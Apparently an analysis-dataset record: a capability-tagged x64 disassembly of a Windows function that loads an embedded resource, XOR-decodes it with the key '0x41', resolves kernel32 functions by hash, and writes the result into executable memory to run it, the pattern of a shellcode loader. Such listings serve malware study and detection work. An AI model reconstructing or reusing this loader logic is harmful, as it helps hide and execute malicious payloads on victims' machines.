Function at 0x14000b6fd
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
jmp 0x14000b6fd
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov edx, 0x65
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov esi, eax
mov rcx, rsi
call fcn.140003021
mov r14, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, r14
mov rdx, rax
mov r8, rsi
call fcn.1400033aa
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp ebx, 0xf
jbe 0x14000b7a5
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
lea rcx, [rbx + 1]
cmp rax, 0xfff
jb 0x14000b7c0
call fcn.140003c92
jmp 0x14000b7c5
lea rcx, [rsp + 0x30]
mov qword [rcx + 0x10], rsi
mov rdx, r14
mov r8, rsi
call fcn.1400033aa
mov byte [rsp + rsi + 0x30], 0
jmp 0x14000b7e9
call fcn.140001316
mov rdi, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov rcx, rax
mov rdx, r14
mov r8, rsi
call fcn.1400033aa
mov byte [rdi + rsi], 0
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x60]
lea rdi, [rsp + 0x30]
mov rdx, rdi
call fcn.140002720
mov rax, qword [rdi + 0x18]
cmp rax, 0x10
jb 0x14000b83b
mov rcx, qword [rsp + 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000b836
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000b9f4
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140004be7
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x30], 0x34317830
mov byte [rsp + 0x34], 0
mov rbx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
sub r14, rbx
je 0x14000b87e
xor eax, eax
xor ecx, ecx
xor edx, edx
cmp ecx, 4
cmove ecx, eax
movsxd rcx, ecx
mov r8b, byte [rsp + rcx + 0x30]
xor byte [rbx + rdx], r8b
inc ecx
inc rdx
cmp r14, rdx
jne 0x14000b862
mov byte [rsp + 0x34], 0
mov dword [rsp + 0x30], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
mov rcx, rax
mov edx, 0xefe297c0
call fcn.140003c1f
mov rdi, rax
mov rcx, r12
mov edx, 0x6e1a959c
call fcn.140003c1f
mov r15, rax
mov rcx, r12
mov edx, 0xd83d6aa1
call fcn.140003c1f
mov rbp, rax
mov rcx, r12
mov edx, 0x58c91e6f
call fcn.140003c1f
mov r13, rax
mov rcx, r12
mov edx, 0x1d7f957b
call fcn.140003c1f
mov qword [rsp + 0x50], rax
mov rcx, r12
mov edx, 0xcd7a6cae
call fcn.140003c1f
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 0x28
xor edx, edx
mov r8d, eax
call rdi
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, r14
mov r9d, 0x3000
call r15
mov r15, rax
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rax
mov r8, rbx
mov r9, r14
call rbp
mov rcx, rbx
xor edx, edx
mov r8, r14
call fcn.140004683
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, 0x10
xor edx, edx
mov r8d, eax
call r13
mov r14, rax
mov rcx, r15
mov rdx, rax
xor r8d, r8d
call qword [rsp + 0x50]
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call r15
mov rcx, r14
call r15
mov rdi, qword [rsp + 0x58]
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.140004683
mov rcx, rdi
call fcn.140003350
xor ecx, ecx
mov edx, 1
call r12
test rbx, rbx
je 0x14000b9e2
mov rdx, qword [rsp + 0x70]
sub rdx, rbx
cmp rdx, 0x1000
jb 0x14000b9da
mov rax, qword [rbx - 8]
add rbx, 0xfffffffffffffff8
sub rbx, rax
cmp rbx, 0x20
jae 0x14000b9f4
add rdx, 0x27
mov rbx, rax
mov rcx, rbx
call fcn.140004be7
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1400027f7
int3